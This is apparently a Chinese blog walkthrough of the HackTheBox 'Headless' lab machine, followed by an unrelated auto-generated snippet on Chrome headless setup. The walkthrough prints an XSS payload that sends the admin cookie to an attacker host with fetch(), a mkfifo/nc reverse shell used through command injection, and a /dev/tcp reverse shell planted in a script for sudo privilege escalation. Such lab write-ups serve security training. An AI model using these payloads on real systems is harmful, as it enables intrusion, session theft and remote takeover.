HackThebox Headless

在这里插入图片描述

信息
IP10.10.11.8
难度EASY
状态赛季四
地址https://app.hackthebox.com/competitive/4/overview

XSS,命令注入

端口扫描

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|<SNIP>
|_    </html>

目录扫描

+ http://10.10.11.8:5000/dashboard (CODE:500|SIZE:265)  
+ http://10.10.11.8:5000/support (CODE:200|SIZE:265)  

support可以发送邮件(存在waf,有过滤),dashboard需要认证

漏洞利用

XSS获取admin cookie
请求头xss注入
(需要被过滤,才会将恶意信息发送给管理员)
在这里插入图片描述

<img src=x οnerrοr=fetch('http://Your_IP/'+document.cookie);/>
# 攻击机上需要开启web服务
sudo php -S 0.0.0.0:80   # 使用python也可

在这里插入图片描述

管理员Cookie: ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
访问dashboard,将Cookie的值修改为ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
存在命令注入漏洞
在这里插入图片描述

反弹shell,payload(已进行url编码如下

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+Your_IP+4444+>/tmp/f

提权

sudo -l

dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

/usr/bin/syscheck是一个shell脚本

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

./initdb.sh 2>/dev/null执行当前目录下的initdb.sh文件
创建文件initdb.sh,可以进行反弹shell

#!/bin/bash
/bin/bash -i >& /dev/tcp/YOUR_IP/4445 0>&1
# 攻击机监听
nc -lvnp 4445

或者给bash赋予suid权限,然后运行/bin/bash -p

提权后

系统定时运行下述的python代码

#!/usr/bin/python3

import os
# import requests
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.service import Service

def extract_number(filename):
    return os.path.splitext(filename)[0]

options = webdriver.FirefoxOptions()
options.add_argument('--headless')
driver = webdriver.Firefox(options=options)
driver.set_page_load_timeout(5)

while True:
    login_url = "http://localhost:5000/"

    html_directory = "./hacking_reports"

    html_files = [f for f in os.listdir(html_directory) if f.endswith(".html")]

    base_url = "http://localhost:5000/hacking_reports/"

    for html_file in html_files:
        number = extract_number(html_file)
        url = base_url + number

        print(f"Trying: {url}")

        try:
            driver.get(login_url)
            driver.get(url)
            time.sleep(2)
        except Exception as e:
            print(f"Error: {e}")
            pass
        os.remove("./hacking_reports/" + html_file)
    time.sleep(60)

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Chrome-headless是Google针对Chrome浏览器59版新增加的一种模式,可以在不打开UI界面的情况下使用Chrome浏览器,并保持与Chrome完全一致的运行效果。它使用方法与Selenium类似。 要使用Chrome-headless,首先需要安装ChromeDriver。可以通过以下步骤来安装ChromeDriver: 1. 下载ChromeDriver:使用wget命令下载ChromeDriver,例如:`wget https://chromedriver.storage.googleapis.com/2.40/chromedriver_linux64.zip` 2. 解压ChromeDriver:使用tar命令解压下载的ChromeDriver文件,例如:`tar xvf chromedriver_linux64.zip` 3. 设置权限:使用chmod命令给解压后的ChromeDriver设置可执行权限,例如:`chmod 755 chromedriver` 配置代码如下所示: ```python from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--headless') chrome_options.add_argument('--disable‐gpu') # 设置Chrome浏览器文件路径 path = r'C:\Program Files (x86)\Google\Chrome\Application\chrome.exe' chrome_options.binary_location = path # 创建Chrome-headless浏览器实例 browser = webdriver.Chrome(chrome_options=chrome_options) ``` 通过以上配置代码,你就可以使用Chrome-headless模式进行你需要的操作了。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [Chrome-headless 使用](https://blog.csdn.net/grey_mouse/article/details/128243165)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [Chromeheadless安装与使用](https://blog.csdn.net/aWDac/article/details/80865754)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值